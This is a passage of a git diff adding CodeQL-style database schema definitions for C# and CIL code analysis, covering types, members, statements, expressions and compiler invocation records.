@cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/b93e202508f21bdf2e0d831e464c3b14187378cc/semmlecode.csharp.dbscheme b/csharp/upgrades/b93e202508f21bdf2e0d831e464c3b14187378cc/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..f5903552e30 --- /dev/null +++ b/csharp/upgrades/b93e202508f21bdf2e0d831e464c3b14187378cc/semmlecode.csharp.dbscheme @@ -0,0 +1,1899 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + 